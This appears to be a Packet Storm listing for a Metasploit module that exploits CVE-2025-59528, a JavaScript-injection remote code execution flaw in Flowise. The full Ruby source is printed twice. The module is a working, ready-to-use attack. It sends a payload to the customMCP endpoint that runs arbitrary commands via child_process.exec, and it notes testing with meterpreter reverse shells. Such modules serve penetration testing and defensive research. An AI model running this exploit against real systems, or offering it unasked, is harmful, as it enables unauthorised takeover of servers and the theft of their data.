10
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Description
This Metasploit module exploits a remote code execution vulnerability in Flowise versions greater than or equal to 2.2.7-patch.1 and less than 3.0.6. The vulnerability exists in the customMCP endpoint /api/v1/node-load-method/customMCP located in...
Basic Information
ID
PACKETSTORM:211933
Published
Nov 24, 2025 at 00:00
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Flowise
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Flowise JS Injection RCE',
'Description' => %q{
This module exploits a remote code execution vulnerability in Flowise versions >= 2.2.7-patch.1
and < 3.0.6. The vulnerability exists in the customMCP endpoint (/api/v1/node-load-method/customMCP)
located in packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts, which allows users to execute
arbitrary commands via JavaScript code injection in the mcpServerConfig parameter using the
convertToValidJSONString function that uses Function('return ' + inputString)(). For versions < 3.0.1,
the exploit can work unauthenticated if FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables
are not configured. For versions >= 3.0.1, authentication via FLOWISE_EMAIL and FLOWISE_PASSWORD is
required due to JWT token verification.
},
'Author' => [
'Kim SooHyun (im-soohyun)', # Vulnerability discovery
'nltt0', # Original exploit PoC
'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-59528'],
['EDB', '52440']
],
'Platform' => %w[unix linux win],
'Arch' => [ARCH_CMD],
'Payload' => {
'BadChars' => "\x0d\x0a\x5c\x22" # \r \n \ "
},
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET'
}
# tested with cmd/linux/http/x64/meterpreter_reverse_tcp
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter_reverse_tcp
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-09-13',
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 3000
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('FLOWISE_EMAIL', [false, 'Flowise email for JWT auth (required for versions >= 3.0.1)', '']),
OptString.new('FLOWISE_PASSWORD', [false, 'Flowise password (JWT for >= 3.0.1, Basic Auth for < 3.0.1)', '']),
OptString.new('FLOWISE_USERNAME', [false, 'Flowise username for Basic Auth (required if env var is set)', ''])
])
end
def check
version = flowise_get_version
return CheckCode::Unknown('Could not retrieve Flowise version') unless version
print_status("Flowise version detected: #{version}")
# Vulnerability introduced in 2.2.7-patch.1 (March 14, 2025) and fixed in 3.0.6 (September 12, 2025)
# Note: Rex::Version parses "2.2.7-patch.1" as "2.2.7.pre.patch.1", so we check >= 2.2.7
if (version >= Rex::Version.new('2.2.7') || version.to_s.include?('2.2.7')) && version < Rex::Version.new('3.0.6')
base_msg = '(affected: >= 2.2.7-patch.1 and < 3.0.6)'
auth_msg = version >= Rex::Version.new('3.0.1') ? ' (auth required)' : ' (may work unauthenticated)'
return CheckCode::Appears("#{base_msg}#{auth_msg}")
end
CheckCode::Safe("Version #{version} is not vulnerable")
end
def execute_command(cmd, _opts = {})
requires_auth = flowise_requires_auth?
email = datastore['FLOWISE_EMAIL']
password = datastore['FLOWISE_PASSWORD']
has_credentials = !email.blank? && !password.blank?
if requires_auth && !has_credentials
fail_with(Failure::NoAccess, 'Authentication required - set FLOWISE_EMAIL and FLOWISE_PASSWORD')
end
if has_credentials
begin
flowise_login(email, password)
rescue Msf::Exploit::Failed
vprint_warning('Login failed, but continuing without authentication (may work for versions < 3.0.1)') unless requires_auth
raise if requires_auth
end
end
# BadChars ensures \r \n \ " are not in the payload
js_payload = '{x:(function(){const cp = process.mainModule.require("child_process");' \
"cp.exec(\"#{cmd}\",()=>{});return 1;})()}"
payload_data = {
'loadMethod' => 'listActions',
'inputs' => {
'mcpServerConfig' => js_payload
}
}
opts = {
username: datastore['FLOWISE_USERNAME'],
password: datastore['FLOWISE_PASSWORD']
}
flowise_send_custommcp_request(payload_data, opts)
end
def exploit
fail_with(Failure::PayloadFailed, 'Failed to run payload') unless execute_command(payload.encoded)
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Flowise
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Flowise JS Injection RCE',
'Description' => %q{
This module exploits a remote code execution vulnerability in Flowise versions >= 2.2.7-patch.1
and < 3.0.6. The vulnerability exists in the customMCP endpoint (/api/v1/node-load-method/customMCP)
located in packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts, which allows users to execute
arbitrary commands via JavaScript code injection in the mcpServerConfig parameter using the
convertToValidJSONString function that uses Function('return ' + inputString)(). For versions < 3.0.1,
the exploit can work unauthenticated if FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables
are not configured. For versions >= 3.0.1, authentication via FLOWISE_EMAIL and FLOWISE_PASSWORD is
required due to JWT token verification.
},
'Author' => [
'Kim SooHyun (im-soohyun)', # Vulnerability discovery
'nltt0', # Original exploit PoC
'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-59528'],
['EDB', '52440']
],
'Platform' => %w[unix linux win],
'Arch' => [ARCH_CMD],
'Payload' => {
'BadChars' => "\x0d\x0a\x5c\x22" # \r \n \ "
},
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET'
}
# tested with cmd/linux/http/x64/meterpreter_reverse_tcp
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter_reverse_tcp
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-09-13',
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 3000
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('FLOWISE_EMAIL', [false, 'Flowise email for JWT auth (required for versions >= 3.0.1)', '']),
OptString.new('FLOWISE_PASSWORD', [false, 'Flowise password (JWT for >= 3.0.1, Basic Auth for < 3.0.1)', '']),
OptString.new('FLOWISE_USERNAME', [false, 'Flowise username for Basic Auth (required if env var is set)', ''])
])
end
def check
version = flowise_get_version
return CheckCode::Unknown('Could not retrieve Flowise version') unless version
print_status("Flowise version detected: #{version}")
# Vulnerability introduced in 2.2.7-patch.1 (March 14, 2025) and fixed in 3.0.6 (September 12, 2025)
# Note: Rex::Version parses "2.2.7-patch.1" as "2.2.7.pre.patch.1", so we check >= 2.2.7
if (version >= Rex::Version.new('2.2.7') || version.to_s.include?('2.2.7')) && version < Rex::Version.new('3.0.6')
base_msg = '(affected: >= 2.2.7-patch.1 and < 3.0.6)'
auth_msg = version >= Rex::Version.new('3.0.1') ? ' (auth required)' : ' (may work unauthenticated)'
return CheckCode::Appears("#{base_msg}#{auth_msg}")
end
CheckCode::Safe("Version #{version} is not vulnerable")
end
def execute_command(cmd, _opts = {})
requires_auth = flowise_requires_auth?
email = datastore['FLOWISE_EMAIL']
password = datastore['FLOWISE_PASSWORD']
has_credentials = !email.blank? && !password.blank?
if requires_auth && !has_credentials
fail_with(Failure::NoAccess, 'Authentication required - set FLOWISE_EMAIL and FLOWISE_PASSWORD')
end
if has_credentials
begin
flowise_login(email, password)
rescue Msf::Exploit::Failed
vprint_warning('Login failed, but continuing without authentication (may work for versions < 3.0.1)') unless requires_auth
raise if requires_auth
end
end
# BadChars ensures \r \n \ " are not in the payload
js_payload = '{x:(function(){const cp = process.mainModule.require("child_process");' \
"cp.exec(\"#{cmd}\",()=>{});return 1;})()}"
payload_data = {
'loadMethod' => 'listActions',
'inputs' => {
'mcpServerConfig' => js_payload
}
}
opts = {
username: datastore['FLOWISE_USERNAME'],
password: datastore['FLOWISE_PASSWORD']
}
flowise_send_custommcp_request(payload_data, opts)
end
def exploit
fail_with(Failure::PayloadFailed, 'Failed to run payload') unless execute_command(payload.encoded)
end
end